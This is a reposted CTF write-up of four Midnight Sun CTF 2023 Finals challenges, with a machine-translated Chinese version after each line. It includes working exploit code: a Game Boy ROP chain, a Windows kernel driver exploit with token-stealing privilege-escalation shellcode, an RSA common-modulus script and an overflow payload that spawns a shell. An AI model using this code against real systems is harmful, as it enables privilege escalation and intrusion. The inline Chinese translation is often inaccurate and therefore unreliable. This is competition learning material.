Midnight Sun CTF 2023 Finals – Writeups – CTFするぞ

WriteUp 8个月前 admin
204 0 0

The Finals of Midnight Sun CTF 2023 was held in August 19th and 20th in Stockholm, Sweden. I played the CTF as a member of TokyoWesterns and we stood 2nd place.
2023年午夜太阳CTF总决赛于8月19日至20日在瑞典斯德哥尔摩举行。我作为东京西部片的成员参加了CTF,我们获得了第二名。

Midnight Sun CTF 2023 Finals - Writeups - CTFするぞ
The final scoreboard 最终记分牌

Midnight Sun this year had both CTF and conference.
今年的午夜太阳既有CTF又有会议。

The hotel and venue this year was great. Both were very close to the station :+1:
今年的酒店和场地都很棒。两者都非常靠近车站:+1:

Writeup 写起来

The challenge files and my solvers are available here:
挑战文件和我的求解器可在此处获得:

bitbucket.org bitbucket.org

[Pwn] guessboy [Pwn] 猜猜男孩

Guessboy is a gameboy pwn challenge. We’re distributed a gameboy ROM file. Once we solve the challenge, we need to call the organizer to get the physical gameboy which contains the real flag.
Guessboy是一个gameboy pwn挑战。我们分发了一个gameboy ROM文件。一旦我们解决了挑战,我们需要打电话给组织者以获得包含真实标志的物理游戏男孩。

The game is not actually a game, but looks like a calculator:
游戏实际上不是游戏,而是看起来像一个计算器:

Midnight Sun CTF 2023 Finals - Writeups - CTFするぞ
Calculator working on Gameboy
计算器在Gameboy上工作

Actually I saw a similar challenge in Midnight Sun CTF 2019 Finals, which I couldn’t solve at the time. According to the challenge author, however, the exploit of the challenge is different this time.
实际上,我在午夜太阳CTF 2019总决赛中看到了类似的挑战,当时我无法解决。然而,根据挑战作者的说法,这次挑战的利用是不同的。

Still, I remembered the vulnerability was stack buffer overflow. The same bug exists in this challenge.
不过,我记得这个漏洞是堆栈缓冲区溢出。此挑战中存在相同的错误。

The result of a calculation is pushed to the stack. If we hit the equals (=) key, the result is pushed to the stack and the stack top increments (decrements in the memory stack). Since there is no limit on the stack top, we can easily overflow the buffer. However, you will get a crash message if you randomly overflow the buffer.
计算结果将推送到堆栈。如果我们按下等于 (=) 键,结果将被推送到堆栈,堆栈顶部递增(内存堆栈中的递减)。由于堆栈顶部没有限制,我们可以轻松地使缓冲区溢出。但是,如果随机溢出缓冲区,则会收到崩溃消息。

Midnight Sun CTF 2023 Finals - Writeups - CTFするぞ
Stack smashing protection
堆栈粉碎保护

So, there is a stack canary. The stack canary is a fixed value and you can analyse the ROM to get the correct value: 0x5858. This value is also the same as that of 2019.
所以,有一个堆栈金丝雀。堆栈金丝雀是一个固定值,您可以分析 ROM 以获得正确的值:0x5858。该值也与2019年相同。

The pwn part is over. The remaining part is reversing. Since we don’t know where is the flag, we don’t know what to do. @n4nu reversed the binary and guessed that:
pwn 部分结束了。其余部分正在反转。由于我们不知道标志在哪里,所以我们不知道该怎么办。 @n4nu颠倒了二进制并猜测:

  • There is a function that draws a scrambled flag on the display.
    有一个功能可以在显示屏上绘制加扰的标志。
  • The flag image exists in tiles.
    标志图像存在于磁贴中。
  • The flag is scrambled because of a wrong argument passed to the draw function.
    由于传递给 draw 函数的错误参数,该标志被打乱。

We had to load the tiles and draw it with a right parameter. Here is the ROP chain to accomplish it:
我们必须加载瓷砖并使用正确的参数绘制它。这是完成它的 ROP 链:

22616 = = = = = = = = = C ; stack canary (0x5858)
20450 = C ; func1 (0x4fe2)
10596 = C ; skip  (0x2964)
65280 = C ; arg1  (0xff00)
7330 = C  ; arg2  (0x1ca2)
20699 = C ; func2 (0x50db)
464 = C   ; loop  (0x1d0)
0 = C     ; arg1  (0x0)
4628 = C  ; arg2  (0x1214)
6970 = Q  ; arg3  (0x1b3a)

Midnight Sun CTF 2023 Finals - Writeups - CTFするぞ

[Pwn] HFSAntiCheat [pwn]HFSAntiCheat

vagrant environment, Windows kernel driver, and client to submit the exploit are given. It was the first time to solve Windows kernel challenge in a CTF. I leaned a lot but also wasted a lot of time because of the different behavior between vagrant and my virtual box 😥
给出了一个流浪环境、Windows 内核驱动程序和提交漏洞的客户端。这是第一次在CTF中解决Windows内核挑战。我倾斜了很多,但也浪费了很多时间,因为流浪者和我的虚拟盒子之间的行为不同:cry:

While I was absent for 1v1pwn, @n4nu finished analysing the binary. The driver registers a device and a notifier routine for process creation.
当我缺席 1v1pwn 时,@n4nu完成了二进制分析。驱动程序注册用于进程创建的设备和通知程序例程。

When a process is created with its name set to “CHEAT”, the driver checks if the PE imports some blacklisted Windows APIs. However, this routine was not related to the exploit at all.
创建名称设置为“CHEAT”的进程时,驱动程序会检查 PE 是否导入某些列入黑名单的 Windows API。但是,此例程与漏洞利用完全无关。

The important feature is the device I/O control. The driver accepts two requests that directly reads from and writes to the physical memory. We have full control over the entire physical memory.
重要功能是设备 I/O 控制。驱动程序接受两个直接读取和写入物理内存的请求。我们可以完全控制整个物理内存。

My first idea was:
我的第一个想法是:

  1. Leak the base address of ntoskrnl.exe.
    泄漏 的 ntoskrnl.exe 基址。
  2. Read the pointer at HalDispatchTable+0x8, which points to NtQueryIntervalProfile.
    读取指向 HalDispatchTable+0x8 的 NtQueryIntervalProfile 指针。
  3. Overwrite the machine code of NtQueryIntervalProfile with our shellcode.
    用我们的外壳代码覆盖机器 NtQueryIntervalProfile 代码。
  4. Call NtQueryIntervalProfile to escalate privilege.
    呼叫 NtQueryIntervalProfile 以提升权限。

It worked fine on my VirtualBox environment. However, it didn’t work on the distributed vagrant environment. I wrote “virtual to physical” address converter but it didn’t work well on vagrant. If anyone is familiar with page table, please check my exploit and tell me what is wrong.
它在我的VirtualBox环境中工作正常。但是,它不适用于分布式流浪环境。我写了“虚拟到物理”地址转换器,但它在流浪汉身上效果不佳。如果有人熟悉页表,请检查我的漏洞并告诉我出了什么问题。

Eventually I couldn’t fix the bug, and I changed the exploit 1h before the end of the CTF:
最终我无法修复该错误,我在 CTF 结束前 1 小时更改了漏洞:

  1. Search memory for the machine code of NtQueryIntervalProfile.
    在内存中搜索 的 NtQueryIntervalProfile 机器代码。
  2. Overwrite the machine code with our shellcode.
    用我们的外壳代码覆盖机器代码。
  3. Call NtQueryIntervalProfile to escalate privilege.
    呼叫 NtQueryIntervalProfile 以提升权限。

I avoided searching memory because there was a 5-second time limit, and it is not usually stable. However, this is CTF. Faster solve is better than a beautiful exploit.
我避免搜索内存,因为有 5 秒的时间限制,而且它通常不稳定。然而,这是CTF。 更快的求解胜过漂亮的漏洞利用。

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(ULONG ProfileSource, PULONG Interval);
#define DRIVER_PATH \\\\.\\HFSAntiCheat”
#define CMD_READ 0x220004
#define CMD_WRITE 0x220008
const char shellcode[] = \x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48\x8b\x80\xb8\x00\x00\x00\x49\x89\xc0\x4d\x8b\x80\x48\x04\x00\x00\x49\x81\xe8\x48\x04\x00\x00\x41\x83\xb8\x40\x04\x00\x00\x04\x75\xe8\x49\x8b\x88\xb8\x04\x00\x00\x80\xe1\xf0\x48\x8b\x90\xb8\x04\x00\x00\x48\x83\xe2\x07\x48\x01\xd1\x48\x89\x88\xb8\x04\x00\x00\x31\xc0\xc3;
typedef struct {
size_t size;
void* buffer;
void* address;
} RWRequest;
HANDLE hDevice;
void *memmem(const void *haystack, size_t haystack_len,
const void * const needle, const size_t needle_len) {
for (const char *h = haystack;
haystack_len >= needle_len;
++h, –haystack_len) {
if (!memcmp(h, needle, needle_len))
return (void*)h;
}
return NULL;
}
/**
* Physical address READ/WRITE
*/
int pm_read(void *dst, void* src, size_t size) {
BOOL res;
RWRequest req;
DWORD s;
req.size = size;
req.buffer = dst;
req.address = src;
res = DeviceIoControl(hDevice, CMD_READ, &req, sizeof(req), NULL, 0, &s, (LPOVERLAPPED)NULL);
if (!res) puts(“[-] pm_read failed”);
return res;
}
int pm_write(void* dst, void* src, size_t size) {
BOOL res;
RWRequest req;
DWORD s;
req.size = size;
req.buffer = src;
req.address = dst;
res = DeviceIoControl(hDevice, CMD_WRITE, &req, sizeof(req), NULL, 0, &s, (LPOVERLAPPED)NULL);
if (!res) puts(“[-] pm_write failed”);
return res;
}
/**
* Entry point
*/
int main(int argc, CHAR *argv[]) {
unsigned long long buf[0x200];
DWORD size;
_NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)
GetProcAddress(GetModuleHandle(“ntdll.dll”), “NtQueryIntervalProfile”);
puts(“[+] Exploit…”);
// Open driver
hDevice = CreateFileA(DRIVER_PATH, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
puts(“Cannot open device”);
return1;
}
// Search for machine code of NtQueryIntervalProfile
for (ssize_t i = 0x2000; i < 0x10000; i++) {
pm_read(buf, (void*)(i*0x1000), 0x1000);
if (memmem(buf, 0x1000, \xC4\x48\x89\x45\x20\x4D\x8B\xF8, 8) != NULL) {
char *p = memmem(buf, 0x1000, \xC4\x48\x89\x45\x20\x4D\x8B\xF8, 8);
size_t ofs = p – (char*)buf;
size_t addr = i*0x1000 + ofs – 0x20;
pm_read(buf, (void*)addr, 8);
if (buf[0] == 0x4154415756535540) {
printf(“Found at %016llx: %016llx\n, addr, buf[0]);
pm_write((void*)addr, (void*)shellcode, sizeof(shellcode));
}
}
}
puts(“[+] Go…”);
fflush(stdout);
Sleep(500);
ULONG uInterval = 1337;
NtQueryIntervalProfile(2, &uInterval);
puts(“[+] Done!”);
DWORD s;
char flag[0x100];
HANDLE hFile = CreateFile(“C:\\Windows\\System32\\flag.txt”, GENERIC_READ, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
puts(“[-] Nope…”);
} else {
// ReadFile is prohibited by hfsanticheat.sys 🙁
HANDLE hMapFile = CreateFileMapping(
hFile, // ファイルハンドル
NULL, // セキュリティ属性
PAGE_READONLY, // 読み取り専用ページ
0, // ファイルのサイズ(0でファイル全体)
0, // マッピングの先頭からのオフセット
NULL // マッピング名
);
LPVOID lpFileBase = MapViewOfFile(
hMapFile, // マップされるファイルオブジェクト
FILE_MAP_READ, // 読み取りアクセス
0, // マッピングの先頭からのオフセット
0, // マッピングするバイト数(0でファイル全体)
0 // 開始アドレス(0で自動選択)
);
printf(“[+] FLAG: %s\n, lpFileBase);
}
CloseHandle(hDevice);
getchar();
return 0;
}

Midnight Sun CTF 2023 Finals - Writeups - CTFするぞ

I should’ve solved this challenge much faster…
我应该更快地解决这个挑战……

[Crypto] speed-manifesto
[加密]速度宣言

This is a speed-run challenge. We had to solve speed-run challenges within 3rd blood to get advantage. 200 points for 1st blood, 150 for 2nd, 100 for 3rd, and 50 for the rest.
这是一个快速运行的挑战。我们必须解决第三血速跑的挑战才能获得优势。第一血200分,第二血150分,第三血100分,其余50分。

The distributed archive contains a lot of text files like this:
分布式存档包含许多文本文件,如下所示:

Public Exponent: 65537
Modulus: 8183083614123980651512525726265039763297170592399337374069708919926046325913623412792726783191923340532116587489748386113782581259412232424196738634940809
Ciphertext: b'(\xa6\xc0\xee\xb5\x9d\xd2\xc8\xe6\xa1\xb1\xcf:\x8b\xdcgx\xef\xb4\t\x7fvM@\xc8\x98\xbd\x80\xad\x13\x11\xeb\x97\xef\xc84\xd6|\x93E@\xeb\xc9\xf9\x0b\x86\xc7\x8bpKV\xe8\xa1\xa4&X\x14\\\x1a\xe3\x13\x8d\x8d6'

I guessed there would be modulus which uses the same prime. I wrote a script to take GCD of each modulus and found two files shared the same modulus with different Es.
我猜会有模量使用相同的素数。我编写了一个脚本来获取每个模数的GCD,发现两个文件共享具有不同E的相同模数。

Public Exponent: 81527149853274967867330281122861369134002594020874386569175070591393763589124283222257680735360206160019714178475186119840676412580184783642914952823718854196285068193471576875760518418570508606597801241354462995303092313113267959493950020688558073609011113475992265891863855436963447737070556709073024059749
Modulus: 105485909539302343682393765142198393869888400422595584344848080319220554344765142068633113057605072008120447995511459791164086717714452445525900872135444441922799547203637125587718326496756865379111734536835717969217501986460486866455030114291836448819270922526967276362623954616008938297593516881809069452459
Ciphertext: b"\x0c\x01\x8b\x84\x02P\x80_A\x1c|\x1f\xd7\xafP\xf7\x14\xb3\x1b\xb4\xcb\x90)\x1f\x1d/\xe0\\\x861Y]+7}\x97\xec\x9b^B\x1b\xc76\xc4 kb'\xaa\xda\xbf\x95\xeaP\x0b5\xb9Z\x7f\xe6C\xb2H.v\x18:ga\xee\xd7=}\xfb\xda\xbd\xee\xa8\x82\xf2\xc2\x1c6\\}\xd7\x005AW\xc0*hRNZ\x86\xfa\x80\xcb\t8\xbe9ad2}\x84\x82\xf2\x88h\x87\x85\xcb\x00E\xb4\xae\xb9\xd1\x15g\xbe\x18!\x8e"
Public Exponent: 90051294818134602141342465972381725307723336343068630953802954374926328987011486242807231248352006000143918922842329124501936958773012452561039323344339325165614434298436842264587505847772729164638758139465380776251275917722434711009950711165155879895556773415263339750741308013278846283398286170778381488987
Modulus: 105485909539302343682393765142198393869888400422595584344848080319220554344765142068633113057605072008120447995511459791164086717714452445525900872135444441922799547203637125587718326496756865379111734536835717969217501986460486866455030114291836448819270922526967276362623954616008938297593516881809069452459
Ciphertext: b'\x03[\xb4\xb0\x08\xde\x8b\xf9\xf4{\x04\xc8\x9c7\xc2\x84\x1f\x8e\xd4\xd0\x9f\xf4H\xe3(|\xbb\xf5N\xd9~\xbe\x13\xb8\xf5\x1a\xe8\xe21\xc2\xf2D\xb3D\x8a\n)\x14\xe2R\xad\x97\xbe\xcf\n\x1b\xf5I\xad\xf7s\x1d\xfbzq\x17\xa9\x80\xf0\xc6\xb0\x80y\xb9\x7f\xbe\xd0a~\xdf+:\xaa\x05=\xdb\x12"\xb5\x16\x1d\xb6\x12\xd5\xa5i\x9f\x19\xd3\xba\xc4\x11\x19\x9b\xd3\n\x81o\xc0\x9c\xcc\xebE{\xc5\x15\xdd\x92\xefq!h\xee\xb4\x16\x9a\xe4\xb5'

Common modulus attack. 普通模量攻击。

from ptrlib import *
import glob
import re
def solve(e1, e2, c1, c2, n):
c1 = int.from_bytes(c1, “big”)
c2 = int.from_bytes(c2, “big”)
m = common_modulus_attack((c1, c2), (e1, e2), n)
print(int.to_bytes(m, 128, “big”).strip(b\x00))
paths = []
es = []
ns = []
cs = []
for path in glob.glob(“../distfiles/*.txt”):
with open(path, “r”) as f:
r = re.findall(“: (\d+)”, f.readline())
e = int(r[0])
r = re.findall(“: (\d+)”, f.readline())
n = int(r[0])
r = re.findall(“: (b.+)”, f.readline())
c = eval(r[0])
for i, past_n in enumerate(ns):
if gcd(past_n, n) != 1:
print(path, paths[i])
e1, e2 = e, es[i]
c1, c2 = c, cs[i]
solve(e1, e2, c1, c2, n)
es.append(e)
ns.append(n)
cs.append(c)
paths.append(path)

2nd blood –> 150 points
第二滴血–>150分

[Pwn] speed-pwn [pwn] speed-pwn

Yet another speedrun challenge.
又是一个速度奔跑的挑战。

The program runs the following command:
程序运行以下命令:

system("$PROG '<arbitrary string>'");

where $PROG is set to /bin/echo.
其中 $PROG 设置为 /bin/echo 。

The input is vulnerable to stack buffer overflow.
输入容易受到堆栈缓冲区溢出的影响。

My idea is to overwrite the array of environment variables with the pointer to “PROG=sh”.
我的想法是用指向“PROG=sh”的指针覆盖环境变量数组。

from ptrlib import *
elf = ELF(“../distfiles/speed5”)
#sock = Process(“../distfiles/speed5”)
sock = Socket(“nc speed5.play.hfsc.tf 4321”)
sock.sendlineafter(“:”, b“B”*0x20)
sock.sendlineafter(“:”, b“A”*0x10)
payload = b“A” * 0x10
payload += b“PROG=sh \0
payload += b“A”*(0x30len(payload))
payload += b“BBBB”
payload += b“CCCC”
payload += p32(0x804c057) * 0x40
payload += p32(0)
sock.sendlineafter(“:”, payload)
sock.sendlineafter(“:”, “”)
sock.sh()

2nd blood –> 150 points
第二滴血–>150分

原文始发于hatenablog:Midnight Sun CTF 2023 Finals – Writeups – CTFするぞ

版权声明:admin 发表于 2023年8月28日 上午9:13。
转载请注明:Midnight Sun CTF 2023 Finals – Writeups – CTFするぞ | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...